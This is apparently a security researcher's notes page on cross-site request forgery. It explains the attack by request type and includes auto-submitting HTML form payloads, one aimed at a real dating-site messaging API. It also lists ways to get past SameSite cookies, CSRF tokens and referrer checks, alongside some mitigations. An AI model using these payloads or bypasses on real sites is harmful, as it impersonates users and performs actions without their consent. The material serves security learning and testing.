Cross Site Request Forgery (CSRF)

Making a request on the user's behalf.

Overview

If a website automatically sends a user's credentials when you interact with it (cookies are sent automatically), then CSRF can be used to impersonate the user (assuming the website doesn't do anything to prevent it).

Common CSRF Payloads

Different types of endpoints require different techniques:

  • POST

  • GET

  • DELETE/UPDATE

  • JSON endpoint

  • XML endpoint

POST

Make a POST form with hidden inputs and use JavaScript to send the POST request automatically when the user navigates to the page.

GET

Make an image with zero width and length and src=the_csrf_Link. The GET request is made automatically when the browser tries to load the image.

PUT/DELETE

This one is very difficult. Can only be accomplished with like browser plugins/plugin vulns and stuff.

JSON

You can try to do a CSRF request to a JSON API endpoint.

Caveats (as of august 2021):

  • The server must not require content-type: application/json in the headers. The method results in a request with a content-type: text/plain header

  • This method results in one of the fields in the JSON request being "foo":"=". In other words, the server must not deny the request because of an unexpected field, or an expected field with the value =

  • The SameSite cookie attribute must not be Strict

    • It defaults to Lax on browsers

    • In Firefox, it always works when SameSite has not been set

      • Haven’t tested when SameSite has been explicitly set to Lax

    • In Chrome, it works when SameSite has not been set

      • But only for two minutes, starting from the time the cookie was assigned to the user

      • Probably won’t work if SameSite has been explicitly set to Lax

Sample payload from the article. Sends a JSON request to the okcupid API:

<html>  
 <body>  
   <form id="form" method="post" action="https://www.okcupid.com/1/apitun/messages/send" enctype="text/plain"\>  
     <input style='display:none' name='{"foo":"' value='", "receiverid":"123", "body":"i am a rabbit", "source":"desktop\_global", "service":"other"}'\>  
     <input type="submit" value="Click me"\>  
   </form>  
   <script>  
     window.onload = () => {form.submit()}  
   </script>  
 </body>  
</html>

Zseano also talked about it in his blog article. Here's his payload (but his is older):

<html>
     <body>
        <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> 
        <input type="hidden" name="{"params":{"limit":20,"and":false,"filters":[],"excluded_contacts":[]},"fields":["First Name","Last Name","Email Address","Title","Notes","Organization","Street","City","State","Tags","Zip Code","Phone Number","Gender","Event ID","Event Title","VIP","Twitter Handle","Twitter URL","Twitter Followers","Twitter Following","Facebook Name","Facebook URL","Facebook Friends","Instagram Handle","Instagram URL","Instagram Followers","Instagram Following","Website","Date Added","Unsubscribed"],"recipient":"myemail+2" value='@gmail.com'>
         <input type="submit" value="submit"> </form>
     </body>
  </html>
  

XML

From Zseano's blog:

<html>
     <body>
        <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> 
        <input type="hidden" name="<foo> <html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>alert(1);</html:script> </html> </foo>">
         <input type="submit" value="submit"> </form>
     </body>
  </html>

Login CSRF

Many developers tend to ignore CSRF vulnerabilities on login forms. They assume that CSRF would not be applicable on login forms because the user is not authenticated at that stage. However, CSRF vulnerabilities can still occur on login forms where the user is not authenticated, but the impact and risk is different.

For example, if an attacker uses CSRF to authenticate a victim on a shopping website using the attacker's account, and the victim then enters their credit card information, an attacker may be able to purchase items using the victim's stored card details

Mitigations

OWASP Prevention Cheat Sheet

SameSite

The default option for SameSite these days is Lax, which stops a lot of CSRF requests (cookies aren't sent with POST requests from other domains).

The web application is still vulnerable if:

  • It does something sensitive in response to a GET request -- cookies are still sent along with GET requests if the user navigates to the site.

  • The CSRF comes from a subdomain. For example, pages.github.com can still CSRF github.com.

Mitigation Bypasses

Chrome Default SameSite Lax+POST Bypass

While Chrome does set cookies to SameSite=Lax by default, for the first two minutes after the cookie was set, the policy is effectively SameSite=None. This can be used to exploit CSRF in certain cases.

CSRF Tokens

If an anti-CSRF token is added, you can bypass it with:

  • XSS

  • Steal the CSRF token (using CSS injection, for example)

  • Clickjacking

    • If you can fill in the data you want for them, and then clickjack them into hitting “submit” (through an iframe), then you can make a request on their behalf

  • CSRF token misconfigurations

    • Try a blank csrf token

    • Try to see if accounts can share the same CSRF token. Make 2 accounts and see if the same token works for both.

    • Change one character in the token, maybe it only checks length or something.

Referrer Header Checking

If the Referrer header is checked, then you can try a few things:

  1. If site.com/csrf checks that "site.com" is in the string, you can send the query from malicious.com/site.com or site.com.malicious.com .

  2. Send a blank referrer header and see if that works

  3. Use XSS (like reflected XSS) to achieve the goal.

Last updated